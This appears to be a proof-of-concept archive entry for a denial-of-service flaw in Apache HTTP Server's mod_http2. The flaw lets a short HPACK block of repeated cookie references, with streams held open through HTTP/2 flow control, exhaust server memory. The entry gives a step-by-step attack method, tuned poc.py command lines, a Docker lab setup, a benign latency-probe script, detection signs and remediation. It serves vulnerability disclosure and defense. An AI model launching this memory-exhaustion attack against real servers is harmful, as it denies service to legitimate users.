PoC Archive PoC Archive
High CVE-2026-49975 unpatched

Apache HTTP Server HTTP/2 HPACK Cookie-Merging Memory Bomb (CVE-2026-49975)

by 201535611 · 2026-07-05

Severity
High
CVE
CVE-2026-49975
Category
network
Affected product
Apache HTTP Server (mod_http2)
Affected versions
Apache HTTP Server 2.4.17 through 2.4.67
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-07
Author / Researcher0xc03307b
CVE / AdvisoryCVE-2026-49975
Categorynetwork
SeverityHigh
CVSS ScoreNot specified in source
StatusPoC
Tagsapache, httpd, http2, hpack, mod_http2, cookie-header, memory-exhaustion, denial-of-service, flow-control
RelatedN/A

Affected Target

FieldValue
Software / SystemApache HTTP Server (mod_http2)
Versions AffectedApache HTTP Server 2.4.17 through 2.4.67
Language / PlatformC (Apache httpd / mod_http2), Python 3 PoC client (raw sockets, custom HPACK encoder)
Authentication RequiredNo
Network Access RequiredYes

Summary

CVE-2026-49975 is a denial-of-service vulnerability in Apache HTTP Server’s HTTP/2 request handling. A small HPACK-encoded HTTP/2 header block can reference the HPACK dynamic-table entry for the cookie header many times (up to the request field limit), which the server expands and merges into a single large Cookie header per stream without properly counting each reference against LimitRequestFields. By opening multiple streams across multiple connections, each carrying this compact-but-expanding header block, and then using HTTP/2 flow control (zero/near-zero initial window, slow WINDOW_UPDATE “drip”) to keep the affected streams open, an attacker can force the server to repeatedly allocate memory for cookie-merging while preventing that memory from being released, driving up server memory usage.


Vulnerability Details

Root Cause

Apache’s HTTP/2 (mod_http2) header processing merges repeated cookie header field instances (as required by HTTP/2 semantics, unlike HTTP/1.1) into one logical Cookie header per request. This merge/allocation path is not properly counted against LimitRequestFields, so a small HPACK header block that references an already-indexed cookie dynamic-table entry (via indexed(62)) many times (thousands of references) causes memory allocation proportional to the number of references and their concatenated size, on the wire cost of only a few bytes per reference. Held open via HTTP/2 flow control, many concurrent streams doing this can exhaust server memory before any request is actually processed.

Attack Vector

  1. Attacker establishes one or more h2c (HTTP/2 cleartext) connections to the target Apache server, sending the client preface and an initial SETTINGS frame with SETTINGS_INITIAL_WINDOW_SIZE set to 0.
  2. On each connection, the attacker opens many streams (e.g. 100 per connection), sending on each a compact HPACK header block: standard :method/:scheme/:path/:authority pseudo-headers, followed by one literal cookie: header (added to the HPACK dynamic table) and then thousands of back-to-back references (indexed(62)) to that same dynamic-table entry.
  3. The server expands and merges each stream’s repeated cookie references into one large logical Cookie header, allocating memory proportional to the reference count — the PoC computes an estimated allocation of refs * (refs + 1) + refs bytes per stream for the default --refs 4091.
  4. With the initial window at (or near) zero, the server cannot send a full response; the attacker “drips” tiny WINDOW_UPDATE increments (--drip-interval, --drip-bytes) just often enough to keep the streams alive without releasing them, holding the allocated memory for an extended period (--hold, default 300s) across many concurrent connections/streams.
  5. Repeating this across enough connections drives the server’s memory usage up, degrading or denying service to legitimate clients.

Impact

Remote, unauthenticated denial of service via excessive memory consumption on the Apache HTTP Server host; delayed or failed processing of normal user requests while the attack streams are held open.


Environment / Lab Setup

Target:   Docker container built from the included Dockerfile (httpd:2.4.67 base, mod_http2 enabled, `Protocols h2c http/1.1`, `H2Direct on`), exposed on a mapped port (e.g. 10081->80)
Attacker: Python 3 (stdlib only: socket, struct, threading, argparse) running poc.py against the target host/port

Proof of Concept

PoC Script

See poc.py, check_server.py, and Dockerfile in this folder.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
docker build -t cve-2026-49975 .
docker run -d --name cve-2026-49975 --memory 8g -p 10081:80 cve-2026-49975

docker stats cve-2026-49975   # monitor memory in a separate terminal

python3 poc.py \
  --host TARGET_IP \
  --port 10081 \
  --connections 10 \
  --streams 100 \
  --refs 4091 \
  --initial-window 0 \
  --hold 300 \
  --drip-interval 2 \
  --drip-bytes 1

python3 check_server.py --host TARGET_IP --port 10081 --path / --interval 0.5 --duration 90 --timeout 3

poc.py opens the configured number of h2c connections, sends the configured number of streams per connection each carrying the compact cookie-bomb HPACK block, then holds the streams open by dripping minimal WINDOW_UPDATE increments for the configured hold duration, printing per-connection frame/byte statistics. check_server.py is a companion victim-probe script that issues periodic plain HTTP/1.1 GET requests and logs success/timeout/latency so the DoS impact on normal traffic can be measured concurrently.


Detection & Indicators of Compromise

Signs of compromise:

  • docker stats / process memory monitoring showing steadily climbing memory usage on the Apache host with no corresponding legitimate traffic increase
  • Elevated latency or timeouts on unrelated, normal HTTP requests to the same server during the memory climb
  • Server logs or connection tracking showing long-lived HTTP/2 streams with minimal window updates from a small set of client IPs

Remediation

ActionDetail
Primary fixUpgrade Apache HTTP Server to 2.4.68 or later, which addresses the Cookie header merge counting against LimitRequestFields
Interim mitigationConsider disabling HTTP/2 (mod_http2) temporarily if not required; apply connection/stream count limits and aggressive idle/hold timeouts at a reverse proxy or load balancer in front of Apache; monitor and cap per-worker memory usage

References


Notes

Mirrored from https://github.com/0xc03307b/CVE-2026-49975 on 2026-07-05.

check_server.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
#!/usr/bin/env python3
"""
정상 사용자 시뮬레이터.
공격 전/중/후에 주기적으로 평범한 HTTP/1.1 GET 을 던져서
응답 성공 / 지연(latency) / 실패(타임아웃·거부)를 타임스탬프와 함께 기록한다.
DoS 입증 자료: "공격 시작 시점부터 정상 요청이 실패/지연되기 시작" 을 보여줌.

사용 예:
  python victim_probe.py --host 127.0.0.1 --port 10080 --path / --interval 0.5 --duration 90 --timeout 3
공격 스크립트(h2bomb_poc.py)는 이 프로브가 도는 도중에 별도 창에서 실행.
"""
import argparse
import http.client
import socket
import time
from datetime import datetime


def probe_once(host, port, path, timeout):
    start = time.monotonic()
    conn = None
    try:
        conn = http.client.HTTPConnection(host, port, timeout=timeout)
        conn.request("GET", path, headers={"Connection": "close",
                                           "User-Agent": "victim-probe/1.0"})
        resp = conn.getresponse()
        resp.read()
        latency = (time.monotonic() - start) * 1000.0
        return ("OK", resp.status, latency, "")
    except socket.timeout:
        latency = (time.monotonic() - start) * 1000.0
        return ("TIMEOUT", 0, latency, "read/connect timed out")
    except ConnectionRefusedError as e:
        latency = (time.monotonic() - start) * 1000.0
        return ("REFUSED", 0, latency, str(e))
    except (ConnectionResetError, http.client.RemoteDisconnected) as e:
        latency = (time.monotonic() - start) * 1000.0
        return ("RESET", 0, latency, str(e))
    except OSError as e:
        latency = (time.monotonic() - start) * 1000.0
        return ("ERROR", 0, latency, str(e))
    finally:
        if conn is not None:
            try:
                conn.close()
            except OSError:
                pass


def main():
    p = argparse.ArgumentParser(description="정상 사용자 요청 프로브 (DoS 영향 측정)")
    p.add_argument("--host", default="127.0.0.1")
    p.add_argument("--port", type=int, default=10080)
    p.add_argument("--path", default="/")
    p.add_argument("--interval", type=float, default=0.5, help="요청 간격(초)")
    p.add_argument("--duration", type=float, default=90.0, help="총 측정 시간(초)")
    p.add_argument("--timeout", type=float, default=3.0, help="요청당 타임아웃(초)")
    args = p.parse_args()

    print(f"# probe target=http://{args.host}:{args.port}{args.path} "
          f"interval={args.interval}s timeout={args.timeout}s duration={args.duration}s")
    print(f"# {'time':<12} {'result':<8} {'status':<6} {'latency_ms':<10} note")

    end = time.monotonic() + args.duration
    n = ok = fail = 0
    lat_sum = 0.0
    while time.monotonic() < end:
        cycle_start = time.monotonic()
        result, status, latency, note = probe_once(args.host, args.port, args.path, args.timeout)
        ts = datetime.now().strftime("%H:%M:%S.%f")[:-3]
        n += 1
        if result == "OK" and 200 <= status < 500:
            ok += 1
            lat_sum += latency
        else:
            fail += 1
        print(f"{ts:<12} {result:<8} {status:<6} {latency:>9.1f}  {note}", flush=True)
        # 간격 유지
        sleep_left = args.interval - (time.monotonic() - cycle_start)
        if sleep_left > 0:
            time.sleep(sleep_left)

    avg_ok = (lat_sum / ok) if ok else 0.0
    print(f"# summary total={n} ok={ok} fail={fail} "
          f"fail_rate={100.0*fail/max(1,n):.1f}% avg_ok_latency_ms={avg_ok:.1f}")


if __name__ == "__main__":
    main()